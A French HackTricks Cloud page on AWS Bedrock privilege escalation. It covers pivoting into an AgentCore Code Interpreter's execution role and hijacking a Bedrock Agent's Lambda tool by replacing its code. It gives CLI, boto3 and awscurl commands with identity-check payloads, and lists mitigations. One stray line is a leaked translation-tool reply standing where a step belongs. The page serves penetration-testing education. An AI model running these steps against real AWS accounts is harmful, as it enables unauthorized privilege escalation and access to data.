AWS - Bedrock PrivEsc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter est un environnement dâexĂ©cution gĂ©rĂ©. Les Custom Code Interpreters peuvent ĂȘtre configurĂ©s avec un executionRoleArn qui âprovides permissions for the code interpreter to access AWS servicesâ.
Si un principal IAM avec moins de privilĂšges peut start + invoke une session Code Interpreter configurĂ©e avec un execution role plus privilĂ©giĂ©, lâappelant peut effectivement pivot vers les permissions de lâexecution role (lateral movement / privilege escalation selon le pĂ©rimĂštre du rĂŽle).
Note
Il sâagit gĂ©nĂ©ralement dâun problĂšme de misconfiguration / excessive permissions (accorder des permissions larges au rĂŽle dâexĂ©cution de lâinterprĂ©teur et/ou accorder un accĂšs invoke trop large). AWS avertit explicitement dâĂ©viter la privilege escalation en sâassurant que les execution roles ont des privilĂšges Ă©gaux ou infĂ©rieurs Ă ceux des identitĂ©s autorisĂ©es Ă invoquer.
Preconditions (common misconfiguration)
- Un custom code interpreter existe avec un execution role trop privilégié (ex : accÚs à des S3/Secrets/SSM sensibles ou des capacités de type IAM-admin).
- Un utilisateur (developer/auditor/CI identity) a les permissions pour :
- start sessions:
bedrock-agentcore:StartCodeInterpreterSession - invoke tools:
bedrock-agentcore:InvokeCodeInterpreter - (Optional) Lâutilisateur peut aussi crĂ©er des interpreters:
bedrock-agentcore:CreateCodeInterpreter(cela lui permet de crĂ©er un nouvel interpreter configurĂ© avec un execution role, selon les guardrails de lâorganisation).
Recon (identify custom interpreters and execution role usage)
Lister les interpreters (control-plane) et inspecter leur configuration:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
La commande create-code-interpreter prend en charge
--execution-role-arnqui dĂ©finit les permissions AWS que lâinterprĂ©teur aura.
Ătape 1 - DĂ©marrer une session (cela retourne un sessionId, pas un shell interactif)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
Ătape 2 - Invoke code execution (Boto3 or signed HTTPS)
Il nây a pas de shell Python interactif via start-code-interpreter-session. LâexĂ©cution se fait via InvokeCodeInterpreter.
Option A - Boto3 example (execute Python + verify identity):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
Si lâinterprĂ©teur est configurĂ© avec un execution role, la sortie de sts:GetCallerIdentity() devrait reflĂ©ter lâidentitĂ© de ce rĂŽle (et non celle du low-priv caller), dĂ©montrant le pivot.
Option B - Signed HTTPS call (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
Impact
- Lateral movement vers tout accĂšs AWS que le rĂŽle dâexĂ©cution de lâinterpreter possĂšde.
- Privilege escalation si le rĂŽle dâexĂ©cution de lâinterpreter est plus privilĂ©giĂ© que lâappelant.
- DĂ©tection plus difficile si les CloudTrail data events pour les invocations de lâinterpreter ne sont pas activĂ©s (les invocations peuvent ne pas ĂȘtre journalisĂ©es par dĂ©faut, selon la configuration).
Mitigations / Hardening
- Least privilege sur le
executionRoleArnde lâinterpreter (traitez-le comme les rĂŽles dâexĂ©cution Lambda / les rĂŽles CI). - Restreindre qui peut invoquer (
bedrock-agentcore:InvokeCodeInterpreter) et qui peut dĂ©marrer des sessions. - Utilisez des SCPs pour refuser InvokeCodeInterpreter sauf pour les rĂŽles runtime dâagent approuvĂ©s (lâapplication au niveau de lâorganisation peut ĂȘtre nĂ©cessaire).
- Activez les CloudTrail data events appropriĂ©s pour AgentCore lorsque câest applicable ; alertez sur les invocations inattendues et la crĂ©ation de sessions.
Amazon Bedrock Agents
lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda
Bedrock Agents peuvent utiliser des Lambda-backed action groups comme tools (exĂ©cution externe). Si un principal peut modifier le code dâune fonction Lambda utilisĂ©e par un agent, puis peut invoquer lâagent, il peut exĂ©cuter du code contrĂŽlĂ© par lâattaquant sous le Lambda execution role.
Note
Ceci est un cross-service trust abuse (Bedrock â Lambda), pas une vulnĂ©rabilitĂ©. Lâattaquant peut ne pas ĂȘtre en mesure dâinvoquer directement la Lambda, mais peut quand mĂȘme la dĂ©clencher via lâagent.
Preconditions (common misconfiguration)
- Un Bedrock Agent existe avec un action group backed by a Lambda function
- Lâattaquant a :
lambda:UpdateFunctionCodebedrock:InvokeAgent- Le Lambda execution role a des permissions plus larges que celles de lâattaquant
- Lâattaquant peut identifier la Lambda utilisĂ©e par lâagent
Recon
ĂnumĂ©rez les agent action groups :
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
Inspecter Lambda:
aws lambda get-function --function-name <FUNCTION_NAME>
Exploitation
Remplacer le code Lambda:
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
Exemple de payload:
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
Translate the content you want me to process, and Iâll return it in French while keeping the exact markdown/html syntax.
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
Impact
- Privilege escalation into Lambda execution role
- Data exfiltration from AWS services
- Cross-service abuse via trusted agent execution
Mitigations
- Restreindre
lambda:UpdateFunctionCode - Utiliser des rĂŽles Lambda avec le least-privilege
- Surveiller les changements de code Lambda
- Auditer lâutilisation des outils de lâagent Bedrock
References
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
- SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

